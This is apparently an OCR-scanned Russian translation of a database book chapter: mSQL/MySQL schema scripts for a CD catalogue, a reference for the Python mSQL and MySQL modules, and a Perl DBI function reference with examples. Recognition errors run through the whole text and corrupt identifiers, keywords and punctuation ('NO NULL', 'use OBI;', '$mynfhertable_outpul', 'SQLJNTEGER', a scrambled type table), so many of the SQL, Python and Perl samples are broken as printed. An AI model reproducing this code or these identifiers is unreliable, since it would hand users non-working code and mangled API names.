    CREATE TABLE Artist (ARTIST_ID INT NOT NULL, ARTIST_NAMETEXT,

    PRIMARY KEY (ARTIST_ID)) CREATE TABLE Song (SONG_ID INT NOT NULL, CD_ID INT, SONG_NAME TEXT, PRIMARY KEY (SONG_ID))

    CREATE TABLE RecorLabel(RECORD LABEL_ID INT NOT NULL, RECORD_LABEL_NAME TEXT, PRIMARY KEY(RECORD_LABEL_ID))

    Пример 2-2. Сценарий создания базы данных CD в mSQL

    CREATE TABLE CD (CD_ID INT NOT NULL,

    RECORD_LABEL_IDINT, CD_TITLE TEXT(50))

    CREATE UNIQUE INDEX CD_IDX ON 0(DCD.ID)

    CREATE TABLE ArtistARTIST_ID INT NO NULL,

    ARTIST_NAMETEXT(50))

    CREATE UNIQUE INDEX Artist_IDX ON Artist (ARTIST_ID)

    CREATE TABLE Song (SONG_ID INT NOT NULL, CD_ID INT,

    SONG_NAME TEXT(50))

    CREATE UNIQUE INDEX Song_IDX ON Song (SONG_ID)

    CREATE TABLE RecordLabel (RECORD_LABEL_IDINT NOT NULL,

    RECORD_LABEL_NAMEEXT(50))

    CREATE UNIQUE INDEX RecordLabel_IDX

    ON RecordLabel(RECORD_LABEL_ID)

    Модели данных разрабатываются так, чтобы не зависеть от базы данных. Поэтому вы можете взять технику и модель данных, созданную в этой главе, и применить ее не только к MySQL и mSQL, но и к Oracle, Sybase, Ingres и любой другой РСУБД. В следующих главах мы подробно обсудим, как соединить ваши новые знания о проектировании баз данных с MySQL и mSQL.

    В действительности есть несколько модулей

    Справочник по Python

    В действительности есть несколько модулей Python, предоставляющих доступ к базам данных MySQL и mSQL. В большинстве аспектов они очень схожи между собой. В этой главе приводятся спецификации API для двух наиболее часто используемых модулей. Однако важно указать на приближающуюся унификацию разных API для баз данных в едином API, специфицированном Python Database SIG. В настоящее время mSQL не поддерживает этот API.



    Модуль: mSQL

    Модуль mSQL очень похож на модуль MySQL. Точкой входа в модуль является метод mSQL.connect(). Возвращаемое им значение представляет подключение к базе данных mSQL, которое вы можете использовать для всех операций с mSQL.

    Метод: mSQL.connect()

    Запись

    connection - mSQL.connect()
    connection - mSQL.connect(host)

    Краткий обзор

    Подключается к базе данных mSQL на указанном сервере. Если вы не укажете аргументов, будет выполнено подключение к базе данных на локальном компьютере. Метод возвращает описатель подключения к mSQL, который вы можете использовать для доступа к базе данных.

    Пример

    connection = mSQL.connect('carthage.imaginary, com')

    Метод: cormection.selectdb()

    Запись

    connection, selectdb(database)

    Краткий обзор

    Выбирает имя базы данных для вашего подключения. Все дальнейшие операции с подключением будут относиться к выбранной базе данных до тех пор, пока вы не укажете новую базу данных.

    Пример

    connection.selectdb('test');

    Метод: connection.query()

    Запись

    results = connection. query(sq1)

    Краткий обзор

    Посылает на выполнение в текущую выбранную базу данных указанную команду SQL. Результат возвращается как список кортежей, где каждый кортеж представляет одну запись. Этот метод также используется для изменения данных, в этом случае вы просто не обрабатываете возвращаемое значение.

    Пример

    results = conn.query('SELECT title, year FROM movies');
    rowl = results[0];

    Метод: connection.listdbs()

    Запись

    dbs - connection. listdbs()

    Краткий обзор

    Предоставляет список доступных баз данных на сервере.

    Пример

    dbs = conn.listdbs()

    Метод: connection.listtables()
    Запись

    connection.listtables()

    Краткий обзор

    Предоставляет список таблиц, хранящихся в базе данных.

    Пример

    tables = conn.listtables()

    Атрибут: connection.serverinfo

    Краткий обзор

    Возвращает версию сервера mSQL, с которым установлено соединение.

    Пример

    info = connection.serverinfo;

    Атрибут: connection.hostname
    Краткий обзор

    Возвращает имя сервера, на котором запущен сервер mSQL.

    Пример

    host = connection.hostname

    Модуль: MySQL

    Точкой входа в модуль Python для MySQL является метод MySQL.connect(). Значение, возвращаемое этим методом, представляет подключение к серверу MySQL, которое вы можете использовать для всех операций с MySQL.

    Метод: MySQL.connect()
    Запись

    connection = MySQL.connect(host)

    Краткий обзор

    Подключается к базе данных MySQL на указанном сервере. Если вызвать connect() без аргументов, будет выполнено подключение к базе данных MySQL на локальном компьютере. Метод возвращает объект Python, представляющий подключение к базе данных MySQL.

    Пример

    conn = MySQL.connect('carthage.irnaginary.com');

    Метод: connection.selectdb()
    Запись

    connection, selectdb(database)

    Краткий обзор

    Выбирает базу данных, с которой вы собираетесь работать.

    Пример

    connection. selectdb('test');

    Метод:
    connection.do()
    Запись

    results = connection.do(sql)

    Краткий обзор

    Посылает на выполнение указанную команду SQL в текущую выбранную базу данных. Результаты возвращаются как список списков, где каждый список представляет одну запись. Метод также используется для изменения данных, в этом случае вы просто не обрабатываете возвращаемое значение.

    Пример

    results = conn.do('SELECT title, year FROM movies');
    row1 = results[0];

    Метод: connection.query()
    Запись

    statement_handle = connection. query(sgl)
    Краткий обзор

    Как и метод do(), этот метод посылает указанную SQL-команду текущей выбранной базе данных. Отличие этого метода от do() заключается в том, что он возвращает объект - описатель команды, который инкапсулирует информацию о результате запроса SQL, также как и сами результаты.

    Пример

    hndl = conn. query(' SELECT title, year FROM movies');
    Метод: statement_handle.affectedrows()
    Запись

    rowcount = statement_handle.affectedrows()
    Краткий обзор

    Считая, что этот описатель команды представляет результаты выполнения команд SQL UPDATE, DELETE или INSERT, данный метод возвращает число записей, реально измененных этим запросом.

    Пример

    rowcount = hnd1.affectedrows()


    Метод: statement_handle.numrows()

    Запись

    rowcount = statement_handle.numrows()

    Краткий обзор

    Считая, что этот описатель команды представляет результаты выполнения команды SELECT, данный метод выдает число записей в результирующем наборе.

    Пример

    rowcount = hndl. numrows()

    Метод: statement_handle.fields()

    Запись

    list = statement_handle.fields()

    Краткий обзор

    Предоставляет метаинформацию о столбцах в результате, возвращаемом запросом. Полученный список является списком списков. Каждый элемент возвращаемого списка - это список с метаинформацией об отдельном столбце. Другими словами, в возвращаемом списке будет один элемент для каждого столбца в результирующем наборе. Первый элемент списка представляет первый столбец, второй элемент - второй столбец и т. д.

    Метаданные для каждого столбца являются списком из пяти элементов:

  • Строка, содержащая имя столбца.

  • Строка, содержащая имя таблицы, откуда взят столбец.

  • Строка с названием типа данных SQL для этого столбца.

  • Целое int, содержащее размер столбца.

  • Строка, содержащая модификаторы столбца, такие как NOTNULL.

    Пример

    flds = hndl.fields();

    for column in fids: name = column[0];

    table = column[1]; type = column[2];

    size = columns[3]; mods = column[4];

    Метод: statement_handle.fetchrows()

    Запись

    list = statement_handle.fetchrows(rownum)

    Краткий обзор

    Выбирает значение записи с указанным номером из результирующего набора, представленного описателем команды. Если в качестве аргумента передать —1, этот метод вернет список со всеми записями. Каждая запись в этом списке представлена списком с количеством элементов, равным числу столбцов в результирующем наборе. Первый элемент списка представляет значение первого столбца, второй элемент представляет второй столбец и т. д.

    Пример

    rows = hndl.fetchrows(-l);

    for row in rows:

    coll = row[0]; со12 = row[1];

    Метод: connection.listdbs()

    Запись

    dbs = connection.listdbs()

    Краткий обзор

    Предоставляет список доступных баз данных на сервере.

    Пример

    dbs = conn.listdbs()

    Метод: connection.listtables()

    Запись

    tables = connection. listtables();

    Краткий обзор

    Предоставляет список таблиц, хранящихся в базе данных.

    Пример

    tables = conn. listtables();



    DBI.pmAPI

    DBI API является стандартным API баз данных в Perl. Поэтому, хотя MsqPerl и MysqlPerl могут быть более распространены в унаследованных программах, новые программы следует писать с использованием DBI.

    use

    use DBI;

    Следует объявлять во всех программах Perl, использующих модуль DBI.

    DBI::available_drivers

    @available_drivers = DBI->available_drivers;
    @available_drivers = DBI->available_drivers($quiet);

    DBI: :available_drivers возвращает список имеющихся драйверов DBD. Функция выполняет это, осуществляя поиск модулей DBD в дистрибуции Perl. Если в аргументе не передано значение true, то при обнаружении двух одноименных модулей DBD выводится предупреждение. В текущем дистрибутиве Msql-Mysql драйвер для mSQL называется 'mSQL', а драйвер для MySQL - 'mysqP.

    Пример

    use DBI;

    my @drivers = DBI->available_drivers;

    print "Доступны следующие драйверы:\n" . join("\n",@drivers) . "\n Ho нас интересуют только mSQL и mysql. :)\n";

    DBI::bind_col

    $result = $statement_handle->bind_col($col_num, \$col_variable, \%unused);

    DBI: :bind_col связывает колонку команды SELECT с переменной Perl. При всяком чтении или изменении колонки изменяется значение соответствующей переменной. Первым аргументом является номер колонки в команде, при этом колонки нумеруются с 1. Второй аргумент — ссылка на переменную Perl, которая должна быть привязана к колонке. Необязательный третий аргумент ссылается на хэш атрибутов. В DBD: :mysql и DBD: :mSQL он не используется. При невозможности в силу каких-то причин сделать привязку функция возвращает неопределенное значение undef.

    Пример

    use OBI;

    my $db = DBI->connect('DBI:mSQL:mydata', undef,undef);
    my $query = "SELECT name, date FROM myothertable";
    my $myothertable_output = $db->prepare($query);

    my ($name, $date);

    $myothertable_output->bind_col(1,\$name,undef);

    $myothertable_output"bind_col(2, \$date, undef);

    # Теперь $name и Sdate привязаны к соответствующим полям выходных данных.


    $myothertable_output->execute;

    while ($myothertable_output->fetch) {

    # Каждый раз $name и $date автоматически изменяются.

    print "Имя: $name Дата: $date\n"; }

    DBI::bmd_columns

    $result = $statement_handle->bincl_columns(\%unused, @list_of_refs_to_vars);

    DBI: : bind_columns привязывает весь список скалярных ссылок к значениям соответствующих полей в выдаче. Первый аргумент функции -ссылка на хэш атрибутов, как в DBI: :bind_col . DBD::mSQL и DBD::mysql не используют этот аргумент. Последующие аргументы должны быть ссылками на скаляры. Скаляры можно с таким же успехом группировать в структуру \($var1, $var2) . Ссылок на скаляры должно быть ровно столько, сколько полей в выходных результатах, иначе выполнение программы будет прекращено.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $query = "SELECT name, date FROM myothertable";

    my $myothertable_oulput = $db->prepare($query);

    my ($name, $date);

    $mynfhertable_outpul->bind_columns(undef, \($name, $daLe));

    # $name и $date теперь привязаны к соответствующим полям в выдаче,

    $myothertable_output->execute;

    while ($myothertable_output->fetch)

    {

    # $name и $date каждый раз автоматически изменяются.

    print "Имя: $name Дата: $date\n";

    }

    DBI::bind_param

    $result = $statement_handle->bind_param($param_number, $bind_value);

    $result = $statement_handle->bind_param($param_number, $bind_value, $bind_type);

    $result = $statenent_handle->bind_param($param_number, $bind_value, \%bind_type);

    DBI: : bind_param подставляет в команды действительные значения вместо меток-заполнителей '?' (см. OBI:: prepare). Первый аргумент - номер метки-заполнителя в команде, нумерация начинается с 1 (слева направо). Второй аргумент - подставляемое значение. Необязательный третий аргумент задает тип подставляемого значения. Это может быть скаляр или ссылка на хэш вида { TYPE => &DBI:: SQL_TYPE } , где 'SQL_TYPE' - тип параметра. На момент написания этой книги DBI поддерживал SQL-типы (недокументированные) SQL_CHAR, SQL_NUMERIC, SQL_DECIMAL, SQL_INTEGER, SQL_SMALLINT, SQL_FLOAT, SQL_REAL, SQL_DOUBLE и SQL_VARCHAR. Соответствие их фактическим типам, используемым DBD::mSQL и DBD::Mysql, не документировано. Тем не менее в таблице 21-1 приведен список соответствия на данный момент. Если подстановка невозможна, функция возвращает undef.


    Таблица 21-1. Соответствие типов SQL



    DBI



    MSQL



    MySQL



    SQL_CHAR



    CHAR TYPE



    FIELD TYPE CHAR







    IDENT TYPE



    FIELD TYPE DATE







    NULL TYPE



    FIELD TYPE DATETIME







    DATE TYPE



    FIELD TYPE NULL







    MONEY TYPE



    FIELD TYPE TIMESTAMP







    TIME TYPE



    FIELD TYPE TIME







    IDX TYPE











    SYSVAR TYPE











    ANY TYPE







    SQL_NUMERIC







    FIELD TYPE LONG FIELD TYPE LONGLONG FIELD_TYPE_SHORT



    SQL_DECIMAL







    FIELD_TYPE_DECIMAL



    SQLJNTEGER



    INT_TYPE



    FIELD_TYPE_INT24



    SQL SMAL-LINT



    UINT_TYPE



    FIELD_TYPE_INT24



    SQL_FLOAT







    FIELD_TYPE_FLOAT



    SQL_REAL



    REAL TYPE LAST_REAL_TYPE



    FIELD JTYPE_DOUBLE



    SQLJDOUBLE







    FIELD_TYPE_DOUBLE



    SQL_VARCHAR



    TEXT_TYPE



    FIELD_TYPE_TINY BLOB FIELD_TYPE_MEDIUM BLOB FIELD TYPE BLOB FIELD TYPE LONG BLOB FIELD TYPE VAR STRING FIELD TYPE STRING

    Пример

    use DBI;

    my $db = DBI->connect('DBD:msql:mydata','me','mypass');

    my Sstatement = $db->prepare(

    "SELECT name, date FROM myothertable WHERE name like ? OR name like ?");

    $statement->bind_param(1,'J%','SQL_CHAR');

    $statement->bind_param(2,'%oe%', { TYPE => &DBI::SQL_CHAR });

    # Теперь команда будет такой:

    # SELECT name, date FROM myothertable WHERE name like 'J%' or name like

    '%oe%'

    DBI::connect

    $db = DBI->connect($data_source, $username, $password);

    $db = DBI->connect($data_source, $username, $password, \%attributes);

    DBI:: connect требует по крайней мере три аргумента и необязательный четвертый. Через возвращаемый описатель выполняются все операции с сервером базы данных. Первый аргумент является источником данных. Список имеющихся источников можно получить с помощью DBI: :data_sources . Для mSQL и MySQL формат источника данных 'DBI:mSQL:$database:Shostname:Sport' и 'DBI:mysql:Sdatabase:Shostname:Sport' соответственно. Можно опустить :Sport при соединении через стандартный порт. Аналогично можно опустить ': Shostname: Sport' при соединении с сервером на локальном узле с помощью сонета Unix. Имя базы данных указывать обязательно.


    Второй и третий аргументы — имя пользователя и пароль для подключения к базе данных. Для mSQL оба аргумента должны иметь значение 'undef'. Если они заданы как 'jndef при работе с MySQL, то у пользователя, запустившего программу, должны быть права доступа к требуемым базам данных.

    Последний аргумент необязателен и является ссылкой на ассоциативный массив. Данный хэш позволяет определить некоторые атрибуты соединения. В настоящее время поддерживаются только атрибуты PrintError, RaiseError и AutoCommit. Для сброса им нужно придать значение 0, для установки - какое-либо истинное значение. По умол-чаник) PrintError и AutoCommit включены, a RaiseError - сброшен. Поскольку в данное время ни mSQL, ни MySQL не поддерживают транзакции, атрибут AutoCommit должен быть установлен (более подробно см. Атрибуты).

    При неудаче соединения возвращается неопределенное значение undef, и в $DBI;:errstr помещается ошибка.

    Пример

    use DBI;

    my $db1 = DBI->connect('DBI: mSQL:mydata',undef,undef);

    # Теперь $db1 представляет соединение с базой данных 'mydata'на локальном

    # сервере mSQL.

    my $db2 = DBI->connect( 'DBI:mysql:mydata:myser-ver.com','me','mypassword');

    # Теперь $db2 представляет соединение с базой данных 'mydata' сервера MySQL

    # 'myserver.com' через порт по умолчанию.

    # При соединении использовались имя пользователя 'те' и пароль 'mypassword'.

    my $db3 = DBI->connect('DBI:mSQL:mydata',undef,undef, {

    RaiseError => 1 });

    # Теперь $db3 - такое же соединение, как $db1, за исключением того, что

    # установлен атрибут 'RaiseError'.

    DBI::data_sources

    @data_sources = DBI->data_sources($dbd_driver);

    DBI: :data_sources принимает в качестве аргумента имя модуля DBD и возвращает все имеющиеся для этого драйверы базы данных в форма- " те, пригодном к использованию в качестве источника данных функцией DBI::connect . Программа заканчивает свое выполнение с ошибкой, если задано неверное имя драйвера DBD. В текущих версиях модулей Msql-Mysql драйвер для mSQL называется 'mSQL', а для MySQL -'mysql'.


    Пример

    use DBI;

    my §msql_data_sources = DBI->data_sources('mSQL');

    my @mysql_data_sources = DBI->data_sources('mysql');

    # Должны быть установлены DBD::mSQL и DBO::mysql, иначе

    # выполнение программы прекратится.

    print "mSQL databases:\n" . join("\n",@msql_data_sources) , "\n\n";

    print "MySQL databases:\n" . join("\n",@mysql_data_sources) . "\n\n";

    DBI::do

    $rows_affected = $db->do($statement);

    $rows_affected = $db->do($statement, \%unused);

    $rows_affected = $db->do($statement, \%unused, @bind_values);

    DBI: : do непосредственно выполняет SQL-команду, не являющуюся командой SELECT, и возвращает число измененных строк. Этот способ быстрее, чем пара DBI: :prepare/DBI: :execute , требующая два вызова функции. Первый аргумент - сама команда SQL. Второй аргумент не используется в DBD::mSQL и DBD::mysql, но для других модулей DBD может содержать ссылку на хэш атрибутов. Последний аргумент -массив значений для подстановки в команду вместо меток-заместителей '?'. Подстановка происходит слева направо. Дополнительно DBI: : do автоматически заключит подставляемые строковые значения в кавычки.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $rows_affected = $db->do("UPDATE mytable SET name='Joe' WHERE name='Bob"');

    print "$rows_affected Joe заменены на Bob's\n";

    my $rows_affected2 = $db->do("INSERT INTO mytable (name) VALUES (?)", {}, ("Sheldon's Cycle"));

    # После заключения в кавычки и подстановки

    # серверу базы данных посылается команда

    #INSERT INTO mytable (name) VALUES ('Sheldon's Cycle')

    DBI-disconnect

    $result = $db->disconnect;

    DBI: : disconnect отсоединяет описатель базы данных от сервера баз данных. Для mSQL и MySQL в этом обычно нет необходимости, поскольку эти базы данных не поддерживают транзакций, и неожиданное отсоединение не причинит вреда. Однако от баз данных, поддерживающих транзакции, нужно отсоединяться явным образом. Поэтому, чтобы получить переносимую программу, нужно всегда отсоединяться от базы данных перед выходом. При ошибке во время отсоединения возвращается ненулевое значение, и в $DBI: :errstr устанавливается ошибка.


    Пример

    use DBI;

    my $db1 = DBI->connect( 'DBI:mSQL:mydata',undef,undef);

    my $db2 = OBI->connect('DBI:mSQL:mydata2',undef,undef);

    $db1->disconnect;

    # Соединение 'mydata' разорвано. Соединение с 'mydata2'

    # продолжает действовать.

    DBI::dump_results

    $neat_rows = DBI::dump_results($statement_handle);

    $neat_rows = DBI::dump_results($statement_handle, Smaxlen);

    $neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep);

    $neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep,$field_sep);

    $neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep,$field_sep, $file_handle);

    DBI: : dump_results выводит содержание описателя команды в удобном и упорядоченном виде, применяя к каждой строке DBI: :neat_string . Функцию удобно использовать для быстрой проверки результатов запроса во время разработки программы. Единственный обязательный аргумент - описатель команды. Второй аргумент, если имеется, задает максимальный размер полей в таблице, по умолчанию равный 35. Третий аргумент задает строку, используемую для разграничения строк данных, по умолчанию- \n. Четвертый аргумент задает строку, используемую для разделения значений полей в строке, по умолчанию используется запятая. Последний аргумент задает ссылку на глобальный описатель файла, в который выводятся результаты. По умолчанию это STDOUT. Если невозможно прочесть описатель команды, возвращается значение undef.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my Squery = "SELECT name, date FROM myothertable";

    my $myothertable_output = $db->prepare($query);

    $myothertable_output->execute;

    print DBI::dump_results($myothertable_output);

    # Вывести результаты в аккуратной таблице.

    open(MYOTHERTABLE, ">>myothertable");

    print DBI: :dump_results($iriyothertable_output,

    undef,undef,undef,\*MYOTHERTABLE);

    # Снова вывести результаты в файл 'myothertable,'.

    $DBI::err

    $error_code = $handle->err;


    $DBI:: err возвращает код последней по времени ошибки DBI. Код ошибки соответствует сообщению об ошибке, возвращаемому функцией $DBI: :errstr. Переменная $DBI: :err выполняет ту же задачу. Эта функция применима с описателями как баз данных, так и команд.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mysql:mydata',

    'webuser','super_secret_squirrel');

    # Этот запрос имеет синтаксическую ошибку...

    my Soutput = $db->prepare('SLECT * from mydata');

    $output->execute;

    if (not $output) {

    print "Error $DBI:err: $DBI:errstr\n"; }

    $DBI::errstr

    $error = $handle->errstr;

    Эта функция возвращает сообщение о последней происшедшей ошибке DBI. Значение сохраняется до возникновения новой ошибки, когда оно будет заменено. Если во время данного сеанса ошибок не было, функция возвращает undef. Переменная $DBI: :errstr выполняет ту же задачу. Эта функция применима с описателями как баз данных, так и команд.

    Пример

    Use DBI;

    my $db = DBI->connect('DBI:mysql:mydata',

    'wcbuscr','super_secret_squirrel');

    my $error = $db->errstr;

    warn("Boj последняя ошибка DBI: $error");

    DBI::execute

    $rows_affected = $statement_handle->execute;

    $rows_affected = $statement_handle->execute(@bind_values);

    DBI: : execute выполняет SQL-команду, содержащуюся в описателе команды. Для запроса, не являющегося SELECT, функция возвращает число измененных строк. Функция возвращает -1, если число строк неизвестно. Для запроса типа SELECT при успехе возвращается истинное значение. Если заданы аргументы, они используются для подстановки имеющихся в команде меток-заместителей (см. DBI: : prepare ).

    Пример

    use DBI;

    my $db = DBI->connect('OBI:mSQL:mydata',undef,undef);

    my $statement_handle = $db->prepare("SELECT * FROM mytable");

    my $statement_handle2 = $db->prepare("SELECT name, date FROM myothertable WHERE name like ?");

    $statement_handle->execute;

    # Выполнена первая команда.К значениям можно

    # обращаться через описатель.


    $statement_handle->execute("J%");

    # Выполнена вторая команда следующего содержания:

    # SELECT name, date FROM myothertable WHERE name like 'J%'

    DBI::fetchall_arrayref

    $ref_of_array_of_arrays = $statement_handle->fetchall_arrayref;

    DBI: :fetchall_arrayref возвращает все оставшиеся данные в описателе команды в виде ссылки на массив. Каждая строка массива - ссылка на другой массив, в котором содержатся данные этой строки. Если в описателе команды нет данных, функция возвращает неопределенное значение undef. Если с этим описателем команды уже выполнялись функции DBI: :fetchrow_ *, то DBI: :fetchall_arrayref возвращает все данные, оставшиеся после последнего обращения к DBI: : fetch row *.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata' ,undef,undef);

    my $query = "SELECT name, date FROM myothertable";

    my Soutput = $db->prepare($query);

    $output->execute;

    my $data = $output->fetchall_arrayref;

    # Теперь $data является ссылкой на массив массивов. Каждый элемент

    # 'главного' массива сам является ссылкой на массив, содержащий строку данных.

    print "Четвертой строкой данных в таблице является: " . $data->[3][1]. "\n";

    # Элемент 3 'главного' массива является массивом, содержащим четвертую

    # строку данных, # Элемент 1 этого массива является датой.

    DBI::fetchrow_array

    @row_of_data = $statement_handle->fetchrow;

    DBI: : fetch row возвращает очередную строку данных из описателя команды, созданного DBI: :execute . Каждое последующее обращение к DBI: : fetchrow возвращает очередную строку данных. Когда данных больше нет, функция возвращает неопределенное значение undef. Порядок элементов в результирующем массиве определяется исходным запросом. Если запрос имел вид SELECT * FROM . . . , то элементы следуют в том порядке, в котором они были определены в таблице.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $query = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";


    my $myothertable_output = $db->prepare($query);

    $myothertable_output->execute;

    my ($name, $date);

    # Это первая строка из $myothertable_output.

    ($name, $date) = $myothertable_output->fetchrow_array;

    # Это следующая строка...

    ($name, $date) = $myothertable_output->fetchrow_array;

    # И еще одна...

    my @name_and_date = $myothertable_output->fetchrow_array;

    # и т.д.....

    DBI::fetchrow_arrayref, DBI::fetch

    $аrrау_rеГегепсе = $statement_handle->fetchrow_arrayref;

    $array_reference = $statement_handle->fetch;

    DBI: : fetchrow_arrayref и ее псевдоним DBI: : fetch работают точно так же, как DBI: :fetchrow_array , но возвращают не фактический массив, а ссылку на него.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata', undef, undef);

    my $query = "SELECT name, date FROM myothertable WHERE name LIKE -Bob%'";

    my $myothertable_output = $db->prepare($query);

    $myothertable_output->execute;

    my $name1 = $myothertable_output->fetch->[0]

    # Это поле 'name' из первой строки данных,

    my $date2 = $myothertable_output->fetch->[1]

    # Это поле 'date' из второй строки данных.

    my ($name3, $date3) = @{$myothertable_output->fetch};

    # Это целиком третья строка данных.

    $myothertable_output->fetch

    # возвращает ссылку на массив. Можно 'преобразовать' ее в действительный

    # массив, используя конструкцию @{}.

    DBI::fetchrow_hashref

    $hash_reference = $statement_handle->fetchrow_hashref;

    DBI: :fetchrow_hashref работает так же, как OBI: :fetchrow_arrayref , но возвращает ссылку на ассоциативный, а не на обычный массив. Ключами хэша являются имена полей, а значениями - значения в этой строке данных.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $query = "SELECT * FROM mytable";

    my $mytable_output = $db->prepare($query);

    $mytable_output->execute;

    my %row1 = $mytable_ouput->fetchrow_hashref;

    my @field_names = keys %row1;

    # @field_names содержит теперь имена всех полей в запросе.


    # Это делается только один раз. Во всех следующих строках будут те же поля,

    my @row1 = values %row1;

    DBI::finish

    $result = $statement_handle->finish;

    DBI:: finish освобождает все данные в описателе команды, чтобы можно было уничтожить описатель или снова подготовить его. Некоторым серверам баз данных это необходимо для освобождения соответствующих ресурсов. DBD::mSQL и DBD::mysql не нуждаются в этой функции, но для переносимости кода следует использовать ее по окончании работы с описателем команды. Функция возвращает неопределенное значение undef, если описатель не удается освободить.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

    my $query = "SELECT * FROM mytable";

    my $mytable_output = $db->prepare($query);

    $mytable_output->execute;

    $mytable_output->finish;

    # Теперь можно переназначить $mytable_output или подготовить для него

    # другую команду SQL.

    DBI::func

    $handlc->func(@func_argumcnts, $func_name);

    @dbs = $db->func("$hostname", '_ListDBs');

    @dbs = $db->func("$hostname:Sport", '_ListDBs');

    @tables = $db->func('_ListTables');

    $result = $drh->func( $database, '_CreateDB' );

    Sresult = $drh->func( Sdatabase, '_DropDB' );

    DBI::func вызывает специализированные непереносимые функции, включенные в различные драйверы DBD. Она используется с описателем базы данных или описателем команды, в зависимости от назначения специализированной функции. По возможности следует использовать равносильную переносимую функцию. При использовании специализированной функции сначала передаются ее аргументы как скаляр, а затем - имя функции. DBD::mSQL и DBD::mysql реализуют следующие функции:

    _ListDBs

    Функция _ListDBs принимает имя узла и необязательный номер порта и возвращает список имеющихся у сервера баз данных. Лучше использовать переносимую функцию DBJ::data_sources .

    _ListTables

    Функция _ListTables возвращает список таблиц, имеющихся в текущей базе данных.


    _CreateDB

    Функция _CreateDB принимает в качестве аргумента имя базы данных и пытается создать эту базу данных на сервере. Для работы с этой функцией необходимо иметь право создания баз данных. Функция возвращает -1 в случае неудачи и 0 в случае успеха.

    _DropDB

    Функция _DropDB принимает в качестве аргумента имя базы данных и пытается удалить с сервера эту базу данных. Данная функция не выводит пользователю сообщений и при успешном выполнении удаляет базу данных навсегда. Для работы с этой функцией необходимо иметь право удаления баз данных. Функция возвращает -1 в случае неудачи и 0 в случае успеха.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

    my @tables =.$db->func('„List-Tables');

    # @tables содержит теперь список таблиц в 'mydata'.

    DBI::neat

    $neat_string = DBI: :neat($s'tring);

    $neat_string = DBI::neat($string, $maxlen);

    DBI: : neat Принимает в качестве аргументов строку и необязательную длину. Затем строка форматируется для аккуратного вывода. Вся строка заключается в одиночные кавычки. Непечатаемые символы заменяются точками. Если задан аргумент длины, все символы после максимальной длины удаляются, а строка заканчивается тремя точками (...). Если длина не указана, по умолчанию используется значение 400.

    Пример

    use DBI;

    my $string = "Это очень, очень длинная строка, в которой много чего написано. ";

    my$neat_string = OBI: :neat($string,14);

    # Теперь $neat_string такая: 'Это очень, оче...

    DBI::neat_list

    $neat_string = DBI::neat_list(\@listref, $maxlen);

    $neat_string = DBI::neat_list(\@listref, $maxlen, $field_seperator);

    DBI: :neat_list принимает три аргумента и возвращает аккуратно отформатированную строку, пригодную для вывода. Первый аргумент содержит ссылку на список выводимых значений. Второй аргумент -максимальная длина каждого поля. Последний аргумент - строка, используемая для разделения полей. Для каждого элемента списка вызывается OBI: :neat с использованием заданной максимальной длины. В результирующих строках для разделения полей используется последний аргумент. Если последний аргумент не задан, в качестве разделителя применяется запятая.


    Пример

    use DBI;

    my @list = (' Bob', 'Joe', 'Frank');

    my $neat_string = DBI::neat_list(\@list, 3);

    # Теперь $neat_string такая: 'Bob', 'Joe', 'Fra...

    DBI::prepare

    $statement_handle = $db->prepare($statement);

    $statement_handle = $db->prepare($statement, \%unused);

    DBI: :prepare принимает в качестве аргумента SQL-команду, которую некоторые модули баз данных переводят во внутреннюю компилированную форму, исполняемую быстрее при вызове DBI: : execute . Эти модули DBD (не DBD::mSQL или DBD::mysql) принимают также ссылку на хэш необязательных атрибутов. Серверы mSQL и MySQL в настоящее время не реализуют концепцию подготовки команд, поэтому DBI: : prepare просто запоминает команду. По желанию вместо значений данных в команду можно вставить любое количество символов '?'. Эти символы известны как метки-заместители (placeholders). Функция DBI: : bind_param осуществляет подстановку действительных значений вместо меток-заместителей. Если по какой-либо причине команду нельзя подготовить, функция возвращает undef.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

    my $statement_handle = $db->prepare('SELECT * FROM mytable');

    # Теперь эта команда готова к выполнению.

    My $statement_handle = $db->prepare('SELECT name, date FROM myothertable WHERE name like ?');

    # Эта команда будет готовя к выполнению после подстановки # с использованием функции DBI::bind_param.

    DBI::quote

    $quoted_string = $db->quote($string);

    DBI::quote принимает строку для использования в качестве запроса SQL и возвращает ее копию с правильно расставленными для ввода в запрос кавычками, в том числе расставляя корректные кавычки по концам строки.

    Пример

    use DBI;

    my $db1 = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $db2 = DBI->connect('DBI:mysql:myotherdata','me','mypassword');

    my $string = "Sheldon's Cycle";

    my $qs1 = $db1->quote($string);

    # $qs1: 'Sheldon\'s Cycle' (включая наружные кавычки)

    my $qs2 = $db2->quote($string);


    # $qs2 : 'Sheldon's Cycle' (включая наружные кавычки)

    # Теперь обе строки годятся для использования в командах для своих

    # соответствующих серверов баз данных.

    DBI::rows

    $number_of_rows = $statement_handle->rows;

    Del: : rows возвращает число строк данных, содержащихся в описателе команды. Для DBD::mSQL и DBD::mysql эта функция дает точное число для всех команд, включая SELECT. Для многих других драйверов, которые не хранят в памяти сразу все результаты, эта функция надежно работает только для команд, не являющихся SELECT. Это следует учитывать при написании переносимых программ. Функция возвращает —1, если по какой-либо причине число строк неизвестно. Переменная $DBI: : rows выполняет ту же задачу.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $query = "SELECT name, date FROM myothertable WHERE name='Bob'";

    my $myothertable_output = $db->prepare($query);

    $myothertable_output->execute;

    my $rows = $myotnertable_output->rows;

